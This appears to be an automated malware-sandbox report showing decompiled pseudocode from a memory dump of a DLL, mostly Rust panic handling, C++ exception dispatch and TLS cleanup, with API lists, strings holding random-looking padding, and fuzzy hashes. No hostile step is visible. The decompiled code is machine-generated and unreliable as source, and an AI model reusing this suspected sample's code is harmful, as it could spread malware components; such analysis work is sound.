											_t281 =  *_t255;
											_t204 = _t255[1];
											goto L22;
										}
										_t271 = 1;
										_t340 = 3;
										goto L85;
									}
									__eflags = _t332 - 1;
									if(_t332 != 1) {
										goto L84;
									}
									__eflags =  *_t251 - 0x30;
									if( *_t251 != 0x30) {
										goto L84;
									}
									_t271 = 4;
									_t340 = 1;
									goto L85;
								}
								_t207 = GetProcessHeap();
								__eflags = _t207;
								if(__eflags == 0) {
									goto L68;
								}
								 *0x6ee0adc8 = _t207;
								goto L67;
							} else {
								_t340 = _t197;
								__eflags = _t197 - 1;
								if(_t197 != 1) {
									L76:
									_t282 =  *(_t340 + 8);
									__eflags =  *_t340;
									_t138 = _t340 + 4; // 0x4
									_t337 = _t138;
									 *_t340 = 1;
									 *(_t340 + 4) = 0;
									 *(_t340 + 8) = 0;
									if(__eflags != 0) {
										__eflags = _t282;
										if(__eflags != 0) {
											asm("lock dec dword [ecx]");
											if(__eflags == 0) {
												_t197 = E6EDBC800(_t282);
											}
										}
									}
									goto L27;
								}
								_v84 = 0;
								_v36 = 0;
								_t213 = 0;
								__eflags = 0;
								goto L48;
							}
						} else {
							_t337 = _t197;
							if( *_t197 != 1) {
								goto L43;
							}
							_t337 = _t337 + 4;
							L27:
							if( *_t337 != 0) {
								E6EDD6EE0(_t268, "already borrowedC:tyampmimkkfvlytcfjjwzprktkelbfiygduxwusohmhocuefyyefupvncdqxnbdzpobcxrxttvayruifzxzewqpnxdhtoqxvhptxvtuswthpfrwnzpmyamwgyjpl", 0x10, __eflags,  &_v68, 0x6edfd050, 0x6edfd720);
								_t348 = _t348 + 0xc;
								goto L62;
							}
							 *_t337 = 0xffffffff;
							_t340 =  *(_t337 + 4);
							if(_t340 == 0) {
								_v36 = _t337;
								_v20 = 8;
								_t250 = E6EDBC690(_t268, _t337, _t340);
								_t337 = _v36;
								_t340 = _t250;
								_t197 =  *(_t337 + 4);
								_t359 = _t197;
								if(_t359 != 0) {
									asm("lock dec dword [eax]");
									if(_t359 == 0) {
										_t285 =  *(_t337 + 4);
										_t197 = E6EDBC800(_t285);
									}
								}
								 *(_t337 + 4) = _t340;
							}
							asm("lock inc dword [esi]");
							if(_t359 <= 0) {
								L17:
								asm("ud2");
								asm("ud2");
								goto L18;
							} else {
								 *_t337 =  *_t337 + 1;
								_v84 = _t340;
								_v36 = _t340;
								if(_t340 != 0) {
									_t212 =  *(_t340 + 0x10);
									__eflags = _t212;
									_t285 =  ==  ? _t212 : _t340 + 0x10;
									__eflags = _t285;
									if(__eflags != 0) {
										L104:
										_t213 =  *_t285;
										_t285 =  *((intOrPtr*)(4 + _t285)) - 1;
										L105:
										_v20 = 3;
										L48:
										_v124 = 0x6edfd8fc;
										_v120 = 4;
										_v72 = 0;
										_v88 = 0;
										_v92 = 0;
										_v116 = 0;
										_v20 = 3;
										_t323 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t215 =  !=  ? _t285 : 9;
										_v80 =  !=  ? _t213 : "<unnamed>thread \'\' panicked at \'\', ";
										_t324 =  &_v124;
										_v76 =  !=  ? _t285 : 9;
										_v68 =  &_v80;
										_v64 = 0x6edbde50;
										_v60 =  &_v100;
										_v56 = 0x6edbde50;
										_v52 =  &_v148;
										_v48 = E6EDBDE70;
										_v108 =  &_v68;
										_v104 = 3;
										if(E6EDBD2A0( &_v92, _t213) == 3) {
											_v20 = 7;
											_v40 = _t324;
											 *((intOrPtr*)( *((intOrPtr*)(_t324 + 4))))( *_t324);
											_t348 = _t348 + 4;
											_t343 = _v40;
											_t300 =  *((intOrPtr*)(_t343 + 4));
											if( *((intOrPtr*)(_t300 + 4)) != 0) {
												_t248 =  *_t343;
												if( *((intOrPtr*)(_t300 + 8)) >= 9) {
													_t248 =  *(_t248 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t248);
											}
											HeapFree( *0x6ee0adc8, 0, _t343);
										}
										_t269 = _v128;
										_t222 =  <  ? (_t269 + 0x000000fd & 0x000000ff) + 1 : 0;
										if(_t222 == 0) {
											__imp__AcquireSRWLockExclusive(0x6ee0adac);
											_v68 = 0x6edfd2c0;
											_v64 = 1;
											_v152 = 0x6ee0adac;
											_v41 = _t269;
											_v60 = 0;
											_v20 = 6;
											_v124 =  &_v41;
											_v120 = E6EDBDEE0;
											_v52 =  &_v124;
											_v48 = 1;
											_t225 = E6EDBD2A0( &_v92, __eflags);
											_t341 =  &_v68;
											__imp__ReleaseSRWLockExclusive(0x6ee0adac);
											__eflags = _t225 - 3;
											if(__eflags != 0) {
												goto L95;
											}
											_v20 = 5;
											_v40 = _t341;
											 *((intOrPtr*)( *((intOrPtr*)(_t341 + 4))))( *_t341);
											_t348 = _t348 + 4;
											goto L90;
										} else {
											if(_t222 == 1) {
												L95:
												_t372 = _v36;
												if(_t372 != 0) {
													asm("lock dec dword [eax]");
													if(_t372 == 0) {
														E6EDBC800(_v84);
													}
												}
												_t342 = _v140;
												_t338 = _v136;
												_t373 = _v72;
												if(_t373 != 0) {
													asm("lock dec dword [eax]");
													if(_t373 == 0) {
														E6EDBDC20(_v72);
													}
												}
												__imp__ReleaseSRWLockShared(0x6ee0adbc);
												_t374 = _v132 - 1;
												_v20 = 0xffffffff;
												if(_v132 > 1) {
													_v68 = 0x6edfda8c;
													_v64 = 1;
													_v60 = 0;
													_v52 = 0x6edfcd60;
													_v76 = 0;
													_v80 = 0;
													_v48 = 0;
													_t229 = E6EDBD2A0( &_v80, _t374);
													_v120 =  &_v68;
													_v124 = _t229;
													E6EDBD460( &_v124);
													asm("ud2");
													asm("ud2");
												}
												_t285 = _t338;
												E6EDBD440(_t285, _t342);
												asm("ud2");
												goto L104;
											}
											 *0x6ee0a040 = 0;
											_t368 =  *0x6ee0a040;
											if( *0x6ee0a040 == 0) {
												goto L95;
											}
											_t330 =  &_v68;
											_v68 = 0x6edfd96c;
											_v64 = 1;
											_v60 = 0;
											_v52 = 0x6edfcd60;
											_v48 = 0;
											_v20 = 3;
											if(E6EDBD2A0( &_v92, _t368) != 3) {
												goto L95;
											}
											_v40 = _t330;
											_v20 = 4;
											 *((intOrPtr*)( *((intOrPtr*)(_t330 + 4))))( *_t330);
											_t348 = _t348 + 4;
											L90:
											_t296 =  *((intOrPtr*)(_v40 + 4));
											if( *((intOrPtr*)(_t296 + 4)) != 0) {
												_t238 =  *_v40;
												if( *((intOrPtr*)(_t296 + 8)) >= 9) {
													_t238 =  *(_t238 - 4);
												}
												HeapFree( *0x6ee0adc8, 0, _t238);
											}
											HeapFree( *0x6ee0adc8, 0, _v40);
											goto L95;
										}
									}
									_t213 = 0;
									goto L105;
								}
								_t213 = 0;
								goto L48;
							}
						}
					}
				}
			}

APIs

Part of subcall function 6EDBC8C0: AcquireSRWLockShared.KERNEL32(6EE0ADBC), ref: 6EDBC945

HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCA9C
HeapFree.KERNEL32(00000000,?), ref: 6EDBCAAA
TlsGetValue.KERNEL32(00000000), ref: 6EDBCB0D
HeapFree.KERNEL32(00000000,00000000), ref: 6EDBCCF1
HeapFree.KERNEL32(00000000,?), ref: 6EDBCCFF

Strings

Box<dyn Any><unnamed>thread '' panicked at '', , xrefs: 6EDBCDC0
cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf, xrefs: 6EDBC90D, 6EDBC988

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: FreeHeap$AcquireLockSharedValue
String ID: Box<dyn Any><unnamed>thread '' panicked at '', $cannot access a Thread Local Storage value during or after destructionC:jhdokdvbachceydqtheqlppakhgzijyekeivcljjvbkvyjmwyqejgcsvnqcbhbexvfcyaikjiycwgbjpytkvctpgymeigmgnvityoxcirvtcevutdotfqbgtduf
API String ID: 942675266-244047474
Opcode ID: 67fc89fb8c14749bb91ff6d87079781b43aced19788b942d69918e07ab078143
Instruction ID: e885116b5a2a6d3496aab3122dd350d99f8f0a4a02cc451032ce8a7f6fff3f04
Opcode Fuzzy Hash: 67fc89fb8c14749bb91ff6d87079781b43aced19788b942d69918e07ab078143
Instruction Fuzzy Hash: 820205B0A00219DFDB10CFE4C854B9EBBB5FF49309F108569D41AAB380E776A946CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EDCD036, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 304
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E6EDCD036(signed int __edx, signed char* _a4, signed int _a8, signed int _a12, char _a16, signed int* _a20, signed int _a24, signed int _a28, signed int _a32) {
				signed char* _v0;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				char _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				intOrPtr _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				void _v64;
				signed int _v68;
				char _v84;
				intOrPtr _v88;
				signed int _v92;
				intOrPtr _v100;
				void _v104;
				intOrPtr* _v112;
				signed char* _v184;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t202;
				signed int _t203;
				char _t204;
				signed int _t206;
				signed int _t208;
				signed char* _t209;
				signed int _t210;
				signed int _t211;
				signed int _t215;
				void* _t218;
				signed char* _t221;
				void* _t223;
				void* _t225;
				signed char _t229;
				signed int _t230;
				void* _t232;
				void* _t235;
				void* _t238;
				signed char _t245;
				signed int _t250;
				void* _t253;
				signed int* _t255;
				signed int _t256;
				intOrPtr _t257;
				signed int _t258;
				void* _t263;
				void* _t268;
				void* _t269;
				signed int _t273;
				signed char* _t274;
				intOrPtr* _t275;
				signed char _t276;
				signed int _t277;
				signed int _t278;
				intOrPtr* _t280;
				signed int _t281;
				signed int _t282;
				signed int _t287;
				signed int _t294;
				signed int _t295;
				signed int _t298;
				signed int _t300;
				signed char* _t301;
				signed int _t302;
				signed int _t303;
				signed int* _t305;
				signed char* _t308;
				signed int _t318;
				signed int _t319;
				signed int _t321;
				signed int _t330;
				void* _t332;
				void* _t334;
				void* _t335;
				void* _t336;
				void* _t337;

				_t300 = __edx;
				_push(_t319);
				_t305 = _a20;
				_v20 = 0;
				_v28 = 0;
				_t279 = E6EDCDF98(_a8, _a16, _t305);
				_t335 = _t334 + 0xc;
				_v12 = _t279;
				if(_t279 < 0xffffffff || _t279 >= _t305[1]) {
					L66:
					_t202 = E6EDCF563(_t274, _t279, _t300, _t305, _t319);
					asm("int3");
					_t332 = _t335;
					_t336 = _t335 - 0x38;
					_push(_t274);
					_t275 = _v112;
					__eflags =  *_t275 - 0x80000003;
					if( *_t275 == 0x80000003) {
						return _t202;
					} else {
						_push(_t319);
						_push(_t305);
						_t203 = E6EDCCCF1(_t275, _t279, _t300, _t305, _t319);
						__eflags =  *(_t203 + 8);
						if( *(_t203 + 8) != 0) {
							__imp__EncodePointer(0);
							_t319 = _t203;
							_t223 = E6EDCCCF1(_t275, _t279, _t300, 0, _t319);
							__eflags =  *((intOrPtr*)(_t223 + 8)) - _t319;
							if( *((intOrPtr*)(_t223 + 8)) != _t319) {
								__eflags =  *_t275 - 0xe0434f4d;
								if( *_t275 != 0xe0434f4d) {
									__eflags =  *_t275 - 0xe0434352;
									if( *_t275 != 0xe0434352) {
										_t215 = E6EDCC537(_t300, 0, _t319, _t275, _a4, _a8, _a12, _a16, _a24, _a28);
										_t336 = _t336 + 0x1c;
										__eflags = _t215;
										if(_t215 != 0) {
											L83:
											return _t215;
										}
									}
								}
							}
						}
						_t204 = _a16;
						_v28 = _t204;
						_v24 = 0;
						__eflags =  *(_t204 + 0xc);
						if( *(_t204 + 0xc) > 0) {
							_push(_a24);
							E6EDCC46A(_t275, _t279, 0, _t319,  &_v44,  &_v28, _a20, _a12, _t204);
							_t302 = _v40;
							_t337 = _t336 + 0x18;
							_t215 = _v44;
							_v20 = _t215;
							_v12 = _t302;
							__eflags = _t302 - _v32;
							if(_t302 >= _v32) {
								goto L83;
							}
							_t281 = _t302 * 0x14;
							__eflags = _t281;
							_v16 = _t281;
							do {
								_t282 = 5;
								_t218 = memcpy( &_v64,  *((intOrPtr*)( *_t215 + 0x10)) + _t281, _t282 << 2);
								_t337 = _t337 + 0xc;
								__eflags = _v64 - _t218;
								if(_v64 > _t218) {
									goto L82;
								}
								__eflags = _t218 - _v60;
								if(_t218 > _v60) {
									goto L82;
								}
								_t221 = _v48 + 0xfffffff0 + (_v52 << 4);
								_t287 = _t221[4];
								__eflags = _t287;
								if(_t287 == 0) {
									L80:
									__eflags =  *_t221 & 0x00000040;
									if(( *_t221 & 0x00000040) == 0) {
										_push(0);
										_push(1);
										E6EDCCFB6(_t302, _t275, _a4, _a8, _a12, _a16, _t221, 0,  &_v64, _a24, _a28);
										_t302 = _v12;
										_t337 = _t337 + 0x30;
									}
									goto L82;
								}
								__eflags =  *((char*)(_t287 + 8));
								if( *((char*)(_t287 + 8)) != 0) {
									goto L82;
								}
								goto L80;
								L82:
								_t302 = _t302 + 1;
								_t215 = _v20;
								_t281 = _v16 + 0x14;
								_v12 = _t302;
								_v16 = _t281;
								__eflags = _t302 - _v32;
							} while (_t302 < _v32);
							goto L83;
						}
						E6EDCF563(_t275, _t279, _t300, 0, _t319);
						asm("int3");
						_push(_t332);
						_t301 = _v184;
						_push(_t275);
						_push(_t319);
						_push(0);
						_t206 = _t301[4];
						__eflags = _t206;
						if(_t206 == 0) {
							L108:
							_t208 = 1;
							__eflags = 1;
						} else {
							_t280 = _t206 + 8;
							__eflags =  *_t280;
							if( *_t280 == 0) {
								goto L108;
							} else {
								__eflags =  *_t301 & 0x00000080;
								_t308 = _v0;
								if(( *_t301 & 0x00000080) == 0) {
									L90:
									_t276 = _t308[4];
									_t321 = 0;
									__eflags = _t206 - _t276;
									if(_t206 == _t276) {
										L100:
										__eflags =  *_t308 & 0x00000002;
										if(( *_t308 & 0x00000002) == 0) {
											L102:
											_t209 = _a4;
											__eflags =  *_t209 & 0x00000001;
											if(( *_t209 & 0x00000001) == 0) {
												L104:
												__eflags =  *_t209 & 0x00000002;
												if(( *_t209 & 0x00000002) == 0) {
													L106:
													_t321 = 1;
													__eflags = 1;
												} else {
													__eflags =  *_t301 & 0x00000002;
													if(( *_t301 & 0x00000002) != 0) {
														goto L106;
													}
												}
											} else {
												__eflags =  *_t301 & 0x00000001;
												if(( *_t301 & 0x00000001) != 0) {
													goto L104;
												}
											}
										} else {
											__eflags =  *_t301 & 0x00000008;
											if(( *_t301 & 0x00000008) != 0) {
												goto L102;
											}
										}
										_t208 = _t321;
									} else {
										_t185 = _t276 + 8; // 0x6e
										_t210 = _t185;
										while(1) {
											_t277 =  *_t280;
											__eflags = _t277 -  *_t210;
											if(_t277 !=  *_t210) {
												break;
											}
											__eflags = _t277;
											if(_t277 == 0) {
												L96:
												_t211 = _t321;
											} else {
												_t278 =  *((intOrPtr*)(_t280 + 1));
												__eflags = _t278 -  *((intOrPtr*)(_t210 + 1));
												if(_t278 !=  *((intOrPtr*)(_t210 + 1))) {
													break;
												} else {
													_t280 = _t280 + 2;
													_t210 = _t210 + 2;
													__eflags = _t278;
													if(_t278 != 0) {
														continue;
													} else {
														goto L96;
													}
												}
											}
											L98:
											__eflags = _t211;
											if(_t211 == 0) {
												goto L100;
											} else {
												_t208 = 0;
											}
											goto L109;
										}
										asm("sbb eax, eax");
										_t211 = _t210 | 0x00000001;
										__eflags = _t211;
										goto L98;
									}
								} else {
									__eflags =  *_t308 & 0x00000010;
									if(( *_t308 & 0x00000010) != 0) {
										goto L108;
									} else {
										goto L90;
									}
								}
							}
						}
						L109:
						return _t208;
					}
				} else {
					_t274 = _a4;
					if( *_t274 != 0xe06d7363 || _t274[0x10] != 3 || _t274[0x14] != 0x19930520 && _t274[0x14] != 0x19930521 && _t274[0x14] != 0x19930522) {
						L22:
						_t300 = _a12;
						_v8 = _t300;
						goto L24;
					} else {
						_t319 = 0;
						if(_t274[0x1c] != 0) {
							goto L22;
						} else {
							_t225 = E6EDCCCF1(_t274, _t279, _t300, _t305, 0);
							if( *((intOrPtr*)(_t225 + 0x10)) == 0) {
								L60:
								return _t225;
							} else {
								_t274 =  *(E6EDCCCF1(_t274, _t279, _t300, _t305, 0) + 0x10);
								_t263 = E6EDCCCF1(_t274, _t279, _t300, _t305, 0);
								_v28 = 1;
								_v8 =  *((intOrPtr*)(_t263 + 0x14));
								if(_t274 == 0 ||  *_t274 == 0xe06d7363 && _t274[0x10] == 3 && (_t274[0x14] == 0x19930520 || _t274[0x14] == 0x19930521 || _t274[0x14] == 0x19930522) && _t274[0x1c] == _t319) {
									goto L66;
								} else {
									if( *((intOrPtr*)(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c)) == _t319) {
										L23:
										_t300 = _v8;
										_t279 = _v12;
										L24:
										_v52 = _t305;
										_v48 = 0;
										__eflags =  *_t274 - 0xe06d7363;
										if( *_t274 != 0xe06d7363) {
											L56:
											__eflags = _t305[3];
											if(_t305[3] <= 0) {
												goto L59;
											} else {
												__eflags = _a24;
												if(_a24 != 0) {
													goto L66;
												} else {
													_push(_a32);
													_push(_a28);
													_push(_t279);
													_push(_t305);
													_push(_a16);
													_push(_t300);
													_push(_a8);
													_push(_t274);
													L67();
													_t335 = _t335 + 0x20;
													goto L59;
												}
											}
										} else {
											__eflags = _t274[0x10] - 3;
											if(_t274[0x10] != 3) {
												goto L56;
											} else {
												__eflags = _t274[0x14] - 0x19930520;
												if(_t274[0x14] == 0x19930520) {
													L29:
													_t319 = _a32;
													__eflags = _t305[3];
													if(_t305[3] > 0) {
														_push(_a28);
														E6EDCC46A(_t274, _t279, _t305, _t319,  &_v68,  &_v52, _t279, _a16, _t305);
														_t300 = _v64;
														_t335 = _t335 + 0x18;
														_t250 = _v68;
														_v44 = _t250;
														_v16 = _t300;
														__eflags = _t300 - _v56;
														if(_t300 < _v56) {
															_t294 = _t300 * 0x14;
															__eflags = _t294;
															_v32 = _t294;
															do {
																_t295 = 5;
																_t253 = memcpy( &_v104,  *((intOrPtr*)( *_t250 + 0x10)) + _t294, _t295 << 2);
																_t335 = _t335 + 0xc;
																__eflags = _v104 - _t253;
																if(_v104 <= _t253) {
																	__eflags = _t253 - _v100;
																	if(_t253 <= _v100) {
																		_t298 = 0;
																		_v20 = 0;
																		__eflags = _v92;
																		if(_v92 != 0) {
																			_t255 =  *(_t274[0x1c] + 0xc);
																			_t303 =  *_t255;
																			_t256 =  &(_t255[1]);
																			__eflags = _t256;
																			_v36 = _t256;
																			_t257 = _v88;
																			_v40 = _t303;
																			_v24 = _t257;
																			do {
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				asm("movsd");
																				_t318 = _v36;
																				_t330 = _t303;
																				__eflags = _t330;
																				if(_t330 <= 0) {
																					goto L40;
																				} else {
																					while(1) {
																						_push(_t274[0x1c]);
																						_t258 =  &_v84;
																						_push( *_t318);
																						_push(_t258);
																						L86();
																						_t335 = _t335 + 0xc;
																						__eflags = _t258;
																						if(_t258 != 0) {
																							break;
																						}
																						_t330 = _t330 - 1;
																						_t318 = _t318 + 4;
																						__eflags = _t330;
																						if(_t330 > 0) {
																							continue;
																						} else {
																							_t298 = _v20;
																							_t257 = _v24;
																							_t303 = _v40;
																							goto L40;
																						}
																						goto L43;
																					}
																					_push(_a24);
																					_push(_v28);
																					E6EDCCFB6(_t303, _t274, _a8, _v8, _a16, _a20,  &_v84,  *_t318,  &_v104, _a28, _a32);
																					_t335 = _t335 + 0x30;
																				}
																				L43:
																				_t300 = _v16;
																				goto L44;
																				L40:
																				_t298 = _t298 + 1;
																				_t257 = _t257 + 0x10;
																				_v20 = _t298;
																				_v24 = _t257;
																				__eflags = _t298 - _v92;
																			} while (_t298 != _v92);
																			goto L43;
																		}
																	}
																}
																L44:
																_t300 = _t300 + 1;
																_t250 = _v44;
																_t294 = _v32 + 0x14;
																_v16 = _t300;
																_v32 = _t294;
																__eflags = _t300 - _v56;
															} while (_t300 < _v56);
															_t305 = _a20;
															_t319 = _a32;
														}
													}
													__eflags = _a24;
													if(__eflags != 0) {
														_push(1);
														E6EDCCA71(_t274, _t305, _t319, __eflags);
														_t279 = _t274;
													}
													__eflags = ( *_t305 & 0x1fffffff) - 0x19930521;
													if(( *_t305 & 0x1fffffff) < 0x19930521) {
														L59:
														_t225 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
														__eflags =  *(_t225 + 0x1c);
														if( *(_t225 + 0x1c) != 0) {
															goto L66;
														} else {
															goto L60;
														}
													} else {
														__eflags = _t305[7];
														if(_t305[7] != 0) {
															L52:
															_t229 = _t305[8] >> 2;
															__eflags = _t229 & 0x00000001;
															if((_t229 & 0x00000001) == 0) {
																_push(_t305[7]);
																_t230 = E6EDCDA45(_t274, _t305, _t319, _t274);
																_pop(_t279);
																__eflags = _t230;
																if(_t230 == 0) {
																	goto L63;
																} else {
																	goto L59;
																}
															} else {
																 *(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
																_t238 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
																_t290 = _v8;
																 *((intOrPtr*)(_t238 + 0x14)) = _v8;
																goto L61;
															}
														} else {
															_t245 = _t305[8] >> 2;
															__eflags = _t245 & 0x00000001;
															if((_t245 & 0x00000001) == 0) {
																goto L59;
															} else {
																__eflags = _a28;
																if(_a28 != 0) {
																	goto L59;
																} else {
																	goto L52;
																}
															}
														}
													}
												} else {
													__eflags = _t274[0x14] - 0x19930521;
													if(_t274[0x14] == 0x19930521) {
														goto L29;
													} else {
														__eflags = _t274[0x14] - 0x19930522;
														if(_t274[0x14] != 0x19930522) {
															goto L56;
														} else {
															goto L29;
														}
													}
												}
											}
										}
									} else {
										_v16 =  *((intOrPtr*)(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x1c));
										_t268 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
										_push(_v16);
										 *(_t268 + 0x1c) = _t319;
										_t269 = E6EDCDA45(_t274, _t305, _t319, _t274);
										_pop(_t290);
										if(_t269 != 0) {
											goto L23;
										} else {
											_t305 = _v16;
											_t356 =  *_t305 - _t319;
											if( *_t305 <= _t319) {
												L61:
												E6EDCF50C(_t274, _t290, _t300, _t305, _t319, __eflags);
											} else {
												while(1) {
													_t290 =  *((intOrPtr*)(_t319 + _t305[1] + 4));
													if(E6EDCD6D9( *((intOrPtr*)(_t319 + _t305[1] + 4)), _t356, ?str?) != 0) {
														goto L62;
													}
													_t319 = _t319 + 0x10;
													_t273 = _v20 + 1;
													_v20 = _t273;
													_t356 = _t273 -  *_t305;
													if(_t273 >=  *_t305) {
														goto L61;
													} else {
														continue;
													}
													goto L62;
												}
											}
											L62:
											_push(1);
											_push(_t274);
											E6EDCCA71(_t274, _t305, _t319, __eflags);
											_t279 =  &_v64;
											E6EDCD6C1( &_v64);
											E6EDCC29C( &_v64, 0x6ee07f7c);
											L63:
											 *(E6EDCCCF1(_t274, _t279, _t300, _t305, _t319) + 0x10) = _t274;
											_t232 = E6EDCCCF1(_t274, _t279, _t300, _t305, _t319);
											_t279 = _v8;
											 *(_t232 + 0x14) = _v8;
											__eflags = _t319;
											if(_t319 == 0) {
												_t319 = _a8;
											}
											E6EDCC65D(_t279, _t319, _t274);
											E6EDCD945(_a8, _a16, _t305);
											_t235 = E6EDCDB02(_t305);
											_t335 = _t335 + 0x10;
											_push(_t235);
											E6EDCD8BC(_t274, _t279, _t300, _t305, _t319, __eflags);
											goto L66;
										}
									}
								}
							}
						}
					}
				}
			}

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 6EDCD133
type_info::operator==.LIBVCRUNTIME ref: 6EDCD155
___TypeMatch.LIBVCRUNTIME ref: 6EDCD264
IsInExceptionSpec.LIBVCRUNTIME ref: 6EDCD336
_UnwindNestedFrames.LIBCMT ref: 6EDCD3BA
CallUnexpected.LIBVCRUNTIME ref: 6EDCD3D5

Strings

csm, xrefs: 6EDCD0E0
csm, xrefs: 6EDCD18C
csm, xrefs: 6EDCD073
|$n, xrefs: 6EDCD14C

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm$|$n
API String ID: 2123188842-2858037049
Opcode ID: 7abba6f8315e7441b1f34ddc226efb62002b73120e6667bcb3a90952a994d31d
Instruction ID: c1f20d01bd6072d07181eb2d1c0fcfc42e67398b03c8c17f3ee6a3266a0960f7
Opcode Fuzzy Hash: 7abba6f8315e7441b1f34ddc226efb62002b73120e6667bcb3a90952a994d31d
Instruction Fuzzy Hash: 18B1587188020AEFCF05CFE4CD9099EBBBDBF44B94B11455AE814AB255D331DA52CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC500, Relevance: 12.6, APIs: 10, Instructions: 125
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E6EDBC500() {
				intOrPtr _t25;
				intOrPtr _t26;
				void* _t27;
				void* _t28;
				void* _t29;
				void* _t30;
				void* _t31;
				signed char _t42;
				signed char _t43;
				signed char _t44;
				signed char _t45;
				intOrPtr* _t52;
				intOrPtr* _t53;
				intOrPtr* _t54;
				intOrPtr* _t55;
				intOrPtr* _t56;
				void* _t57;

				_t25 =  *((intOrPtr*)(_t57 + 0x18));
				if(_t25 == 3 || _t25 == 0) {
					_t52 =  *0x6ee0adcc; // 0x0
					if(_t52 == 0) {
						goto L26;
					}
					_t42 = 0;
					do {
						_t27 = TlsGetValue( *(_t52 + 4));
						if(_t27 != 0) {
							TlsSetValue( *(_t52 + 4), 0);
							 *_t52(_t27);
							_t57 = _t57 + 4;
							_t42 = 1;
						}
						_t52 =  *((intOrPtr*)(_t52 + 8));
					} while (_t52 != 0);
					if((_t42 & 0x00000001) == 0) {
						goto L26;
					}
					_t53 =  *0x6ee0adcc; // 0x0
					if(_t53 == 0) {
						goto L26;
					}
					_t43 = 0;
					do {
						_t28 = TlsGetValue( *(_t53 + 4));
						if(_t28 != 0) {
							TlsSetValue( *(_t53 + 4), 0);
							 *_t53(_t28);
							_t57 = _t57 + 4;
							_t43 = 1;
						}
						_t53 =  *((intOrPtr*)(_t53 + 8));
					} while (_t53 != 0);
					if((_t43 & 0x00000001) == 0) {
						goto L26;
					}
					_t54 =  *0x6ee0adcc; // 0x0
					if(_t54 == 0) {
						goto L26;
					}
					_t44 = 0;
					do {
						_t29 = TlsGetValue( *(_t54 + 4));
						if(_t29 != 0) {
							TlsSetValue( *(_t54 + 4), 0);
							 *_t54(_t29);
							_t57 = _t57 + 4;
							_t44 = 1;
						}
						_t54 =  *((intOrPtr*)(_t54 + 8));
					} while (_t54 != 0);
					if((_t44 & 0x00000001) == 0) {
						goto L26;
					}
					_t55 =  *0x6ee0adcc; // 0x0
					if(_t55 == 0) {
						goto L26;
					}
					_t45 = 0;
					do {
						_t30 = TlsGetValue( *(_t55 + 4));
						if(_t30 != 0) {
							TlsSetValue( *(_t55 + 4), 0);
							 *_t55(_t30);
							_t57 = _t57 + 4;
							_t45 = 1;
						}
						_t55 =  *((intOrPtr*)(_t55 + 8));
					} while (_t55 != 0);
					if((_t45 & 0x00000001) != 0) {
						_t56 =  *0x6ee0adcc; // 0x0
						while(_t56 != 0) {
							_t31 = TlsGetValue( *(_t56 + 4));
							if(_t31 != 0) {
								TlsSetValue( *(_t56 + 4), 0);
								 *_t56(_t31);
								_t57 = _t57 + 4;
							}
							_t56 =  *((intOrPtr*)(_t56 + 8));
						}
					}
					goto L26;
				} else {
					L26:
					_t26 =  *0x6ee07100; // 0x70
					return _t26;
				}
			}

0x6edbc504
0x6edbc50b
0x6edbc515
0x6edbc51d
0x00000000
0x00000000
0x6edbc529
0x6edbc537
0x6edbc53a
0x6edbc53e
0x6edbc547
0x6edbc54e
0x6edbc551
0x6edbc554
0x6edbc554
0x6edbc530
0x6edbc533
0x6edbc55b
0x00000000
0x00000000
0x6edbc561
0x6edbc569
0x00000000
0x00000000
0x6edbc56f
0x6edbc587
0x6edbc58a
0x6edbc58e
0x6edbc597
0x6edbc59e
0x6edbc5a1
0x6edbc5a4
0x6edbc5a4
0x6edbc580
0x6edbc583
0x6edbc5ab
0x00000000
0x00000000
0x6edbc5b1
0x6edbc5b9
0x00000000
0x00000000
0x6edbc5bb
0x6edbc5c7
0x6edbc5ca
0x6edbc5ce
0x6edbc5d7
0x6edbc5de
0x6edbc5e1
0x6edbc5e4
0x6edbc5e4
0x6edbc5c0
0x6edbc5c3
0x6edbc5eb
0x00000000
0x00000000
0x6edbc5ed
0x6edbc5f5
0x00000000
0x00000000
0x6edbc5f7
